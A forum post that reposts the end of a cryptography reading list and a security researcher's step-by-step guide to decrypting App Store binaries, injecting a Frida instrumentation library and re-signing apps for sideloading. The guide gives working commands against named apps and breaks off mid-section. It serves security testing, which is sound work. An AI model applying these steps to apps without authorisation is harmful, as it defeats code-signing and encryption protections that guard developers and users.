in Block Cipher Cryptanalysis - Attempt to organize the existing literature of block-cipher cryptanalysis in a way that students can use to learn cryptanalytic techniques and ways to break new algorithms, by Bruce Schneier. Statistical Cryptanalysis of Block Ciphers - By Pascal Junod. Cryptoanalysis of block ciphers and protocols - By Elad Pinhas Barkan. Public key cryptography: General and DLP New Directions in Cryptography - Seminal paper by Diffie and Hellman, introducing public key cryptography and key exchange/agreement protocol. RFC 2631: Diffie-Hellman Key Agreement - An explanation of the Diffie-Hellman methon in more engineering terms. A Method for Obtaining Digital Signatures and Public-Key Cryptosystems - Original paper introducing RSA algorithm. RSA Algorithm - Rather education explanation of every bit behind RSA. Secure Communications Over Insecure Channels - Paper by R. Merkle, predated "New directions in cryptography" though it was published after it. The Diffie-Hellman key exchange is an implementation of such a Merkle system. On the Security of Public Key Protocols - Dolev-Yao model is a formal model, used to prove properties of interactive cryptographic protocols. How to Share a Secret - A safe method for sharing secrets. Twenty Years of Attacks on the RSA Cryptosystem - Great inquiry into attacking RSA and it's internals, by Dan Boneh. Remote timing attacks are practical - An example in attacking practical crypto implementationby D. Boneh, D. Brumley. The Equivalence Between the DHP and DLP for Elliptic Curves Used in Practical Applications, Revisited - by K. Bentahar. Public key cryptography: Elliptic-curve crypto Elliptic Curve cryptography: A gentle introduction. Explain me like I'm 5: How digital signatures actually work - EdDSA explained with ease and elegance. Elliptic Curve Cryptography: finite fields and discrete logarithms. Detailed Elliptic Curve cryptography tutorial. Elliptic Curve Cryptography: ECDH and ECDSA. Elliptic Curve Cryptography: breaking security and a comparison with RSA. Elliptic Curve Cryptography: the serpentine course of a paradigm shift - Historic inquiry into development of ECC and it's adoption. Let's construct an elliptic curve: Introducing Crackpot2065 - Fine example of building up ECC from scratch. Explicit-Formulas Database - For many elliptic curve representation forms. Curve25519: new Diffie-Hellman speed records - Paper on Curve25519. Software implementation of the NIST elliptic curves over prime fields - Pracitcal example of implementing elliptic curve crypto, by M. Brown et al. High-speed high-security signatures - Seminal paper on EdDSA signatures on ed25519 curve by Daniel J. Bernstein et al. Zero Knowledge Proofs Proofs of knowledge - A pair of papers which investigate the notions of proof of knowledge and proof of computational ability, M. Bellare and O. Goldreich. How to construct zero-knowledge proof systems for NP - Classic paper by Goldreich, Micali and Wigderson. Proofs that yield nothing but their validity and a Methodology of Cryptographic protocol design - By Goldreich, Micali and Wigderson, a relative to the above. A Survey of Noninteractive Zero Knowledge Proof System and Its Applications. How to Prove a Theorem So No One Else Can Claim It - By Manuel Blum. Information Theoretic Reductions among Disclosure Problems - Brassau et al. Knowledge complexity of interactive proof systems - By GoldWasser, Micali and Rackoff. Defining computational complexity of "knowledge" within zero knowledge proofs. A Survey of Zero-Knowledge Proofs with Applications to Cryptography - Great intro on original ZKP protocols. Zero Knowledge Protocols and Small Systems - A good intro into Zero knowledge protocols. Key Management Recommendation for Key Management – Part 1: General - Methodologically very relevant document on goals and procedures of key management. Math PRIMES is in P - Unconditional deterministic polynomial-time algorithm that determines whether an input number is prime or composite. Post-quantum cryptography Post-quantum cryptography - dealing with the fallout of physics success - Brief observation of mathematical tasks that can be used to build cryptosystems secure against attacks by post-quantum computers. Post-quantum cryptography - Introduction to post-quantum cryptography. Post-quantum RSA - Daniel Bernshtein's insight how to save RSA in post-quantum period. Books That seems somewhat out of scope, isn't it? But these are books only fully available online for free. Read them as a sequence of papers if you will. A Graduate Course in Applied Cryptography - By Dan Boneh and Victor Shoup. A well-balanced introductory course into cryptography, a bit of cryptoanalysis and cryptography-related security. Analysis and design of cryptographic hash functions, MAC algorithms and block ciphers - Broad overview of design and cryptoanalysis of various ciphers and hash functions, by Bart Van Rompay. CrypTool book - Predominantly mathematically oriented information on learning, using and experimenting cryptographic procedures. Handbook of Applied Cryptography - By Alfred J. Menezes, Paul C. van Oorschot and Scott A. Vanstone. Good classical introduction into cryptography and ciphers. The joy of Cryptography - By Mike Rosulek. A lot of basic stuff covered really well. No ECC. A Computational Introduction to Number Theory and Algebra - By Victor Shoup, excellent starters book on math universally used in cryptography. Lectures and educational courses Understanding cryptography: A textbook for Students and Practitioners - Textbook, great lectures and problems to solve. Crypto101 - Crypto 101 is an introductory course on cryptography, freely available for programmers of all ages and skill levels. A Course in Cryptography - Lecture notes by Rafael Pass, Abhi Shelat. Lecture Notes on Cryptography - Famous set of lectures on cryptography by Shafi Goldwasser (MIT), M. Bellare (University of California). Introduction to Cryptography by Christof Paar - Video course by Christof Paar (University of Bochum in Germany). In english. Cryptography I - Stanford University course on Coursera, taught by prof. Dan Boneh. Cryptography II is still in development. Online crypto challenges Not exactly papers, but crypto challenges are awesome educational material. Cryptopals crypto challenges. License To the extent possible under law, author has waived all copyright and related or neighboring rights to this work. Sursa: https://github.com/pFarb/awesome-crypto-papers
-
- 1
-
-
A Guide to Repacking iOS Applications Amar Menezes, 23 July 2018 Introduction Jailbreaking iOS getting harder with every new version released, repacking and resigning iOS applications to be sideloaded on non-jailbroken iOS device has been a subject that has generated significant interest from security researchers in recent years. Sideloading applications is restricted on non-jailbroken devices due to several codesigning enforcements implemented in the iOS kernel. This is done in order to prevent malicious actors from distributing and running untrusted code on unsuspecting user's devices. These codesigning enforcements in conjunction with Apple's AppStore application review process has done a great deal in preventing malicious applications being distributed to iOS users. Whilst these measures make it harder for attackers to target AppStore users, they also make it harder for security researchers to independently evaluate the security of iOS applications. There are several reasons why security researchers would want to sideload applications. The two most common reasons are: To avoid the need to bypass several binary protections that application developers implement to prevent reverse engineering. The lack of a public jailbreak on certain versions of iOS. This guide aims to educate security researches on the various challenges on repacking and resigning iOS applications and to provide advice on how to overcome them. Existing Work There have been some notable research and blog posts that address the problem of repacking and resigning applications to be deployed on non-jailbroken devices. However, the referenced research either lacked sufficient detail or only demonstrate trivial examples of repacking and resigning iOS applications. These limitations lead to the creation of this guide, which addresses the repackaging and resigning of applications with varying build configurations on non-jailbroken devices. In particular, the repackaging and resigning of the following build configurations will be addressed: Applications downloaded from the AppStore Applications that contain Frameworks and/or dylibs Applications that use App Extensions and Advanced App Capabilities Applications that bundle WatchKit applications Methodology Repacking iOS applications can be broadly broken down into six steps: Decrypting MachO binaries bundled within the application IPA Patching the application with custom code/libraries Generating a Provisioning Profile for the target iOS device that the repacked application is to be deployed Updating application metadata to match the Provisioning Profile Resigning the application's MachO binaries Archiving the bundle and sideloading onto the target iOS device This methodology will be used throughout this guide to demonstrate the repacking and resigning of example iOS applications. Getting Started Building a workspace In order to get started a researcher would need to setup a workspace with appropriate tooling. A jailbroken iOS device to decrypt applications from the AppStore and a non-jailbroken iOS device to sideload the repackaged application. For the purpose of this guide a iPod Touch 6th gen running iOS 10 that was jailbroken using Saigon beta2 and a non-jailbroken iPhone 6s running iOS 11. It should be noted that both the jailbroken and non-jailbroken device are 64bit devices. MacOS High Sierra MacOS is required to perform a number of operations required to repack an iOS application. This includes tools like Xcode, otool and codesign. At the time of writing, the author was not aware of FOSS alternatives that would reliably achieve the same operations required to repack iOS applications. However, should FOSS tools be available in the future, this guide will be updated to use them. Xcode 9+ This is used to generate Provisioning Profiles with the right entitlements that are required as part of the repacking process. optool This is an open source tool that allows patching of MachO binaries. For the purpose of this guide, optool is used to add load commands to the MachO binary. FridaGadget In order to demonstrate patching an application with custom code, this guide makes uses Frida server bundled as a shared library commonly referred to as FridaGadget. When the patched application is spawned, it would load the dylib that launches Frida server. One can then connect to this server and being instrumenting the application. idevice* utilities To install repacked applications onto the target device, one of the several options available is idevice* utilities. This guide uses ideviceinstaller, ideviceimagemounter and idevicedebug to install and run repacked applications. The utilities ideviceimagemounter and idevicedebug are only required to spawn an application using debugserver. Repacking Applications 1. Repacking App Store Binaries Application Simple Notepad URL https://itunes.apple.com/us/app/simple-notepad-best-notebook-text-editor-pad-to-write/id1064117835?mt=8 Version 1.1 IPA SHA1 0e7f8f53618372c6e3a667ead6f37d7afc5ab057 Downloading iOS application bundles (IPAs) from the AppStore can be accomplished using iTunes 12.6. It should be noted that newer versions of iTunes do not support downloading applications from the AppStore. One can download iTunes 12.6 from the following link. For the first repacking demonstration, Simple Notepad, a trivial note taking iOS application is used to get the reader familiar with six steps to repacking applications briefly described in Methodology section. Unpacking the Simple Notepad IPA using unzip or a similar utility reveals a single MachO executable binary named "Plain Notes". The following snippet shows the layout of MachO binaries within the Simple Notepad application bundle: Payload/ Plain Notes.app/ Plain Notes 1.1 Decrypting MachO Binaries There are several automated solutions created to decrypt AppStore binaries such as Clutch, dumpdecrypted or dump-ios. However, some of these automated solutions struggle to cope with applications that implement binary protections such as debugger detection and/or hooking detection. Which is why it is sometimes necessary to decrypt binaries manually. An excellent guide on decrypting AppStore binaries can be found at the following link. The first step to decrypting the Simple Notepad is to setup debugserver to intercept and attach to the application when it is launched. The following code snippet demonstrates setting up debugserver to attach to the Simple Notepad application: amarekano-ipod:~/amarekano root# ./debugserver *:6666 -waitfor "Plain Notes" debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-360.0.26.1 for arm64. Waiting to attach to process Plain Notes... Listening to port 6666 for a connection from *... Once debugserver has been setup and has intercepted the launch of Simple Notepad, connect to the debugserver instance using lldb. To locate the decrypted image in memory one would need to know the size of the image and the image offset. Offsets can be gathered from inspecting the load commands of the application binary using otool: Amars-Mac:Plain Notes.app amarekano$ otool -l Plain\ Notes | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 1146880 cryptid 1 Due to system wide ASLR enforced on iOS, it is necessary to locate the base address of the image in memory and then compute the offset from that address. This can be done once lldb is connected to debugserver and is attached to the process: (lldb) image list "Plain Notes" [ 0] BA5E5051-D100-3B60-B5C8-181CAC0BB3EE 0x000000010004c000 /var/containers/Bundle/Application/2FD88AFF-6841-44D2-878D-8BA1698F3343/Plain Notes.app/Plain Notes (0x000000010004c000) The value 0x000000010004c000 is the base address of the binary image in memory. Using this value, we can now dump the decrypted image. The lldb command to dump the binary is shown below: (lldb) memory read --force --outfile ./decrypted.bin --binary --count 1146880 0x000000010004c000+16384 1146880 bytes written to './decrypted.bin', The count parameter is the cryptsize value and the offset to the decrypted section is the base address + cryptoffset. Once we've dumped the decrypted memory region, we then need to splice this into the original AppStore binary. iOS applications downloaded using iTunes, typically contain multi arch FAT binaries. In order to patch the binary correctly, one would first have to locate the offset for the arm64 architecture using otool: Amars-Mac:Plain Notes.app amarekano$ otool -fh Plain\ Notes | grep -A5 architecture\ 1 architecture 1 cputype 16777228 cpusubtype 0 capabilities 0x0 offset 1441792 size 1517824 Using the offset of the encrypted section from the encryption information and the offset of the arm64 arch within the FAT binary, use dd to splice the decrypted image into the original binary. The seek value shown below is the sum of the two offset values i.e cryptoff + offset in the FAT binary: Amars-Mac:Plain Notes.app amarekano$ dd seek=1458176 bs=1 conv=notrunc if=./decrypted.bin of=Plain\ Notes 1146880+0 records in 1146880+0 records out 1146880 bytes transferred in 4.978344 secs (230374 bytes/sec) Once patched, set the cryptid value to 0, this can be done by loading the patched binary into MachO-View, selecting the right architecture and Load command and updating the value as shown in the following screenshot: Once updated, save the changes made to the binary image and copy over the patched binary into the unpacked application IPA. 1.2 Patching the Application Copy the FridaGadget.dylib and FridaGadget.config to the unzipped IPA, within the Payload/Plain Notes.app/ directory. The unpacked bundle with the decrypted application binary and FridaGadget should look as follows: Payload/ Plain Notes/ Plain Notes FridaGadget.dylib FridaGadget.config The contents of the FridaGadget.config file are listed below: Amars-Mac:Plain Notes.app amarekano$ cat FridaGadget.config { "interaction": { "type": "listen", "address": "0.0.0.0", "port": 8080, "on_load": "wait" } The values of address and port can be configured to any interface and port accessible on the target device. This will be the interface and port the Frida server will be listening on when spawned via the repacked application. Add a load command to the application binary using optool. This load command instructs the application binary to load the FridaGadget.dylib into the application's process space. Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/Plain\ Notes.app/Plain\ Notes Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/Plain Notes.app/Plain Notes... 1.3 Generating a Provisioning Profile Having patched the application binary to load the custom dylib i.e. FridaGadget. Begin the process of signing the application binaries to be sideloaded on our target non-jailbroken device. The first step in that process is to generate a provisioning profile for the target device. This is achieved by created an empty Xcode project and that targets the non-jailbroken device. Before building this project, one would typically require to add an AppleID to Xcode which would then generate and manage signing certificates for the application. The AppleID could be one associated with a free developer account or one that is part of the Apple Developer Program. Setting up an an AppleID on Xcode can be done via the menu; Preferences > Accounts. The signing cert used is shown in the screenshot below: Note: If when building the empty project, you happen to deploy it to the device, then make sure you delete it before sideloading the repackaged application. The next step is to extract the provisioning profile from this empty project and reuse it to repack our target application. This provisioning profile is located under: ~/Library/Developer/Xcode/DerivedData/repackdemo-<a random string>/Build/Products/Debug-iphoneos/repackdemo.app/embedded.mobileprovision Copy this file to the Payload/Plain Notes.app directory of the unpacked application as shown in the directory layout below: Payload/ Plain Notes/ Plain Notes FridaGadget.dylib FridaGadget.config embedded.mobileprovision Extract the entitlements from the generated provisioning profile using the following commands: Amars-Mac:repackdemo.app amarekano$ security cms -D -i embedded.mobileprovision > profile.plist Amars-Mac:repackdemo.app amarekano$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist Amars-Mac:repackdemo.app amarekano$ cat entitlements.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>6M9TEGX89M.com.example.amarekano.repackdemo</string> <key>com.apple.developer.team-identifier</key> <string>6M9TEGX89M</string> <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>6M9TEGX89M.*</string> </array> </dict> </plist> The entitlements.plist file contains the entitlements required by the application binary to work on a non-jailbroken iOS environment. These entitlements.plist will be used at a later stage in the resigning process to sign the application binary. 1.4 Updating Application Metadata The next step is to update the Bundle Identifier of the Simple Notepad app to the bundle identifier of the Provisioning Profile generated in the previous section. In this example the bundle identifier within the Provisioning Profile is "com.example.amarekano.repackdemo". Update the Info.plist file within the Payload/Plain Notes.app directory of the unpacked application with the following command: Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.repackdemo" Payload/Plain\ Notes.app/Info.plist 1.5 Resigning MachO Binaries To generate a list of valid codesigning identities on a MacOS system, run the following command: Amars-Mac:~ amarekano$ security find-identity -p codesigning -v 1) 49808436B649808449808436B6651498084336B6 "iPhone Developer: m******" 2) F4F6830FB32AAF4F6830E2C5F4F68309F4FF6830 "Mac Developer: m*******" 3) 41A1537676F3F41A153767FCC41A153767CC3767 "iPhone Developer: A******" 4) 1E309C6B45C0E309C69E10E309C670E309C69C60 "iPhone Developer: a*********" 4 valid identities found Use the signing identity that was used to generate the Provisioning Profile to resign the various MachO binaries. Begin by signing the FridaGadget.dylib: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Plain\ Notes.app/FridaGadget.dylib Payload/Plain Notes.app/FridaGadget.dylib: replacing existing signature Once the dylib has been signed then sign the application binary with the entitlements generated in Section 1.4. Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m*****************" --entitlements entitlements.plist Payload/Plain\ Notes.app/Plain\ Notes Payload/Plain Notes.app/Plain Notes: replacing existing signature 1.6 Archive and Install Once the binaries have been resigned, repack the Payload directory to an IPA using the zip utility Amars-Mac:sandbox amarekano$ zip -qr Simple_Notes_resigned.ipa Payload/ The repacked IPA is then installed onto the target device using ideviceinstaller, which is part of the idevice utilities suite: Amars-Mac:sandbox amarekano$ ideviceinstaller -i Simple_Notes_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'Simple_Notes_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) Install: ExtractingPackage (15%) Install: InspectingPackage (20%) Install: TakingInstallLock (20%) Install: PreflightingApplication (30%) Install: InstallingEmbeddedProfile (30%) Install: VerifyingApplication (40%) Install: CreatingContainer (50%) Install: InstallingApplication (60%) Install: PostflightingApplication (70%) Install: SandboxingApplication (80%) Install: GeneratingApplicationMap (90%) Complete 1.7 Running the Repacked Application The DeveloperDiskImage for the version of iOS on the target device needs to be mounted to launch applications using debugserver. The Developer Disk images for various versions of iOS are located under the following directory on MacOS: /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/DeviceSupport The two files of interest are the Disk image itself and its corresponding signature. DeveloperDiskImage.dmg DeveloperDiskImage.dmg.signature Using ideviceimagemounter, mount the disk images onto the target device as shown below: Amars-Mac:sandbox amarekano$ ideviceimagemounter DeveloperDiskImage.dmg DeveloperDiskImage.dmg.signature Uploading DeveloperDiskImage.dmg done. Mounting... Done. Status: Complete Once successfully mounted, launch the application in debug mode using idevicedebug: Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.repackdemo The reason the application needs to run in debug mode is so that the main application thread is suspended at launch, giving Frida server time to spin up and listen on a pre-configured port. Once running in debug mode, connect to the Frida server and resume the application thread using the following commands: Amars-Mac:sandbox amarekano$ frida -H 192.168.1.196:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleName')) "Plain Notes" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> Here the target iOS device has an IP address of 192.168.1.196 and Frida server is listening on port 8080. Once connected to the Frida server, one can begin instrumenting the application using Frida. 2. Repacking Applications that use Frameworks Application Adobe Acrobat URL https://itunes.apple.com/app/adobe-reader/id469337564?mt=8 Version 18.03.31 IPA SHA1 1195a40f3f140b3c0ed57ae88cfbc017790ddba6 When repacking applications that use frameworks, one needs to bear in mind that it requires decrypting and patching the framework binaries that are also included in the application IPA. To demonstrate this, the Adobe Acrobat's iOS application is used as an example. Unzipping the Acrobat IPA, reveals the following distribution of MachO binaries: Payload/ Adobe Acrobat.app/ Frameworks/ AdobeCreativeSDKCore.framework/ AdobeCreativeSDKCore AdobeCreativeSDKUtility.framework/ AdobeCreativeSDKUtility AdobeCreativeSDKGoogleLogin.framework/ AdobeCreativeSDKGoogleLogin Adobe Acrobat The Frameworks used by the application are located under the Frameworks/ directory shown above. Some applications will also bundle dylibs which would also be located under the Frameworks/ directory. This particular version of Adobe Acrobat application did not include any dylibs. 2.1 Decrypt MachO Binaries Decrypting applications that contain frameworks requires decrypting the main application binary as well the individual frameworks before they can be repacked. This could be done manually by attaching a debugger and dumping the decrypted image from memory. Alternatively, automated solutions such as Clutch2 can be used to generate decrypted binaries. The following snippet shows the encryption info of the application binary and demonstrates the dumping of the decrypted application binary from memory using lldb: Amars-Mac:Adobe Acrobat.app amarekano$ otool -l Adobe\ Acrobat | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 16465920 cryptid 1 .... (lldb) image list "Adobe Acrobat" [ 0] 397432D5-9186-37B8-9BA6-181F633D9C1F 0x000000010009c000 /var/containers/Bundle/Application/15E6A273-A549-4317-99D3-34B8A6623B5E/Adobe Acrobat.app/Adobe Acrobat (0x000000010009c000) (lldb) memory read --force --outfile ./decbins/acrobat.bin --binary --count 16465920 0x000000010009c000+16384 16465920 bytes written to './decbins/acrobat.bin' Similarly, one would have to decrypt each of the three frameworks bundled with the Adobe Acrobat application. The following snippet shows the encryption info of the AdobeCreativeSDKCore framework binary and demonstrates the dumping of the decrypted framework binary from memory using lldb. Amars-Mac:AdobeCreativeSDKCore.framework amarekano$ otool -l AdobeCreativeSDKCore | grep -A4 LC_ENCRYPTION_INFO_64 cmd LC_ENCRYPTION_INFO_64 cmdsize 24 cryptoff 16384 cryptsize 770048 cryptid 1 .... (lldb) image list AdobeCreativeSDKCore [ 0] 3FA3C800-9B6A-3117-A193-36C775B81A43 0x00000001015ac000 /private/var/containers/Bundle/Application/15E6A273-A549-4317-99D3-34B8A6623B5E/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore (0x00000001015ac000) (lldb) memory read --force --outfile ./decbins/AdobeCreativeSDKCore.bin --binary --count 770048 0x00000001015ac000+16384 770048 bytes written to './decbins/AdobeCreativeSDKCore.bin' Once the application binary and framework binaries have been decrypted, splice the decrypted binaries into the original binaries and then use MachO View to set the cryptid flag to 0 for each binary. 2.2 Patching the Application To patch the application, copy over the FridaGadget.dylib and FridaGadget.config file to the unpacked application bundle under the Payload/Adobe Acrobat.app/ directory. Once copied, use optool to add a load command to the application binary as shown below: Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/Adobe\ Acrobat.app/Adobe\ Acrobat Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/Adobe Acrobat.app/Adobe Acrobat... 2.3 Updating Application Metadata Update the bundle identifier within the application's Info.plist to match that of the generated provisioning profile. Generating Provisioning Profiles is discussed in Section 1.3 Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier com.example.amarekano.repackdemo" Payload/Adobe\ Acrobat.app/Info.plist Copy the provisioning profile for the target device to the unpacked application bundle under the Payload/Adobe Acrobat.app/ directory. 2.4 Resigning MachO Binaries Begin by removing the existing the code signatures by deleting the _CodeSignature directories within the extracted "Adobe Acrobat.app" and under the individual framework directories. The folder layout is shown as follows: Payload/ Adobe Acrobat.app/ _CodeSignature Frameworks/ AdobeCreativeSDKCore.framework/ _CodeSignature AdobeCreativeSDKUtility.framework/ _CodeSignature AdobeCreativeSDKGoogleLogin.framework/ _CodeSignature Once these have been deleted, sign the binaries. To do so, start by first signing the FridaGadget.dylib: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/FridaGadget.dylib Payload/Adobe Acrobat.app/FridaGadget.dylib: replacing existing signature Followed by the Framework binaries: Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKCore.framework/AdobeCreativeSDKCore: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKGoogleLogin.framework/AdobeCreativeSDKGoogleLogin Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKGoogleLogin.framework/AdobeCreativeSDKGoogleLogin: replacing existing signature Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" Payload/Adobe\ Acrobat.app/Frameworks/AdobeCreativeSDKUtility.framework/AdobeCreativeSDKUtility Payload/Adobe Acrobat.app/Frameworks/AdobeCreativeSDKUtility.framework/AdobeCreativeSDKUtility: replacing existing signature And finally the application binary with the right entitlements. Amars-Mac:sandbox amarekano$ codesign --force --sign "iPhone Developer: m***************" --entitlements entitlements.plist Payload/Adobe\ Acrobat.app/Adobe\ Acrobat Adobe Acrobat: replacing existing signature Generating entitlements from a provisioning profile is discussed in Section 1.3. 2.5 Archive and Install Once all the MachO binaries have been resigned, simply archive it back to an IPA and then sideload it on the target device: Amars-Mac:sandbox amarekano$ zip -qr Adobe_resigned.ipa Payload/ To install the application onto the target device, we use ideviceinstaller as shown below: Amars-Mac:sandbox amarekano$ ideviceinstaller -i Adobe_resigned.ipa WARNING: could not locate iTunesMetadata.plist in archive! Copying 'Adobe_resigned.ipa' to device... DONE. Installing 'com.example.amarekano.repackdemo' Install: CreatingStagingDirectory (5%) ...<truncated for brevity>... Install: GeneratingApplicationMap (90%) Install: Complete 2.6 Running the Repacked Application Launch the application via debug mode using idevicedebug Amars-Mac:sandbox amarekano$ idevicedebug -d run com.example.amarekano.repackdemo Once the application is running in debug mode, connect to the running Frida server Amars-Mac:sandbox amarekano$ frida -H 192.168.1.116:8080 -n Gadget ____ / _ | Frida 10.7.7 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at http://www.frida.re/docs/home/ [Remote::Gadget]-> %resume [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleName')) "Adobe Acrobat" [Remote::Gadget]-> String(ObjC.classes.NSBundle.mainBundle().objectForInfoDictionaryKey_('CFBundleIdentifier')) "com.example.amarekano.repackdemo" [Remote::Gadget]-> 3. Repacking Applications that use App Extensions Application LinkedIn URL https://itunes.apple.com/gb/app/linkedin/id288429040?mt=8 Version 2018.04.05 IPA SHA1 275ca4c75a424002d11a876fc0176a04b6f74f19 Some iOS applications utilise App Extensions for Inter Process Communication (IPC) offered on iOS. An example of which is the Share Extension that allows sharing content across applications. These extensions are typically bundled with the IPA as separate executables. The following snippet shows the layout of various MachO binaries within the LinkedIn application bundle: Payload/ LinkedIn.app/ Frameworks/ lmdb.framework/ lmdb ... libswiftAVFoundation.dylib ... Plugins/ IntentsExtension.appex/ IntentsExtension IntentsUIExtension.appex/ IntentsUIExtension ... LinkedIn App Extensions are located under the Plugins/ directory as show above. Each App Extension has the bundle extension .appex. 3.1 Decrypting MachO Binaries When dealing with applications that bundle App Extensions, in addition to decrypting the application binary and frameworks, one would also have to decrypt binary images of App Extensions. In order to decrypt App Extensions, first setup debugserver to intercept and attach to a launched App Extension. In the snippet below, debugserver is setup to at attach to IntentsExtension: amarekano-ipod:~/amarekano root# ./debugserver *:6666 -waitfor IntentsExtension & Once debugserver is setup, launch the App Extension. This can be performed manually as shown below: amarekano-ipod:~/amarekano root# /var/containers/Bundle/Application/AC8C5212-67D0-41AB-A01A-EEAF985AB824/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension Once debugserver attaches, connect using lldb and dump the decrypted image from memory. (lldb) image list IntentsExtension [ 0] 2F48A100-110F-33F9-A376-B0475C46037A 0x00000001000f0000 /var/containers/Bundle/Application/AC8C5212-67D0-41AB-A01A-EEAF985AB824/LinkedIn.app/PlugIns/IntentsExtension.appex/IntentsExtension (0x00000001000f0000) (lldb) memory read --force --outfile ./decbins/intentsextension.bin --binary --count 114688 0x00000001000f0000+16384 114688 bytes written to './decbins/intentsextension.bin' (lldb) exit Once decrypted, splice the dumped binary into the original App Extension binary and set the cryptid flag to 0 in the same way one would do when decrypting other MachO binaries. 3.2 Patching the Application Patching the application binary to load the FridaGadget follows the same process as demonstrated in previous examples. Amars-Mac:sandbox amarekano$ optool install -c load -p "@executable_path/FridaGadget.dylib" -t Payload/LinkedIn.app/LinkedIn Found FAT Header Found thin header... Found thin header... Inserting a LC_LOAD_DYLIB command for architecture: arm Successfully inserted a LC_LOAD_DYLIB command for arm Inserting a LC_LOAD_DYLIB command for architecture: arm64 Successfully inserted a LC_LOAD_DYLIB command for arm64 Writing executable to Payload/LinkedIn.app/LinkedIn... 3.3 Generating a Provisioning Profile Generally, applications that use App Extensions almost always require Advanced App Capabilities. These capabilities typically allow application developers to utilise several Apple technologies such as Siri, Apple Pay, iCloud etc. The LinkedIn application for example uses the iCloud and Siri capabilities. This was revealed by examining the application entitlements: Amars-Mac:sandbox amarekano$ codesign -d --entitlements :- "Payload/LinkedIn.app/" Executable=/Users/amarekano/Desktop/sandbox/Payload/LinkedIn.app/LinkedIn <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> ... <truncated for brevity> ... <key>application-identifier</key> <string>8AXPVS6C36.com.linkedin.LinkedIn</string> ...<truncated for brevity>... <key>com.apple.developer.icloud-services</key> <array> <string>CloudDocuments</string> </array> <key>com.apple.developer.siri</key> <true/> ... <truncated for brevity>,,, </dict> Advanced App Capabilities are only available to iOS developers using a paid developer account. Therefore, a suitable provisioning profile would have to be created, using a paid developer account, in order to use these app capabilities in the repacked application. This can be achieved by creating a dummy Xcode project and specify a paid developer signing cert as shown in the screenshot below: Once a project has been created, capabilities required by the application can be enabled under the Capabilities tab. The following screenshot shows the required capabilities enabled in a dummy Xcode project. Building this dummy Xcode project would generate a valid Provisioning profile with the right entitlements needed to repack the LinkedIn application. Extracting these entitlements from the generated provisioning profile is shown below: Amars-Mac:sandbox amarekano$ security cms -D -i embedded.mobileprovision > profile.plist Amars-Mac:sandbox amarekano$ /usr/libexec/PlistBuddy -x -c 'Print :Entitlements' profile.plist > entitlements.plist Amars-Mac:sandbox amarekano$ cat entitlements.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> 